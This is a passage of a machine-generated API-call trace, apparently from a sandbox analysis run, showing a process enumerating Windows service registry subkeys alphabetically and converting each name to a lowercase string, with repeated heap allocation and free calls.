[0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.968] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0238.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0238.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.968] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0238.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0238.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.968] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.969] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0238.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0238.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0238.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0238.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0238.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0238.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0238.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0238.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.970] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0238.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.971] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.971] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.971] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0238.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.972] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.972] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.972] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.972] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0238.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0238.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.973] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0238.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0238.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0238.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.973] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0238.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0238.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0238.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.973] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0238.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0238.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0238.973] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0238.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0238.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0238.973] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0238.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0238.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0238.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 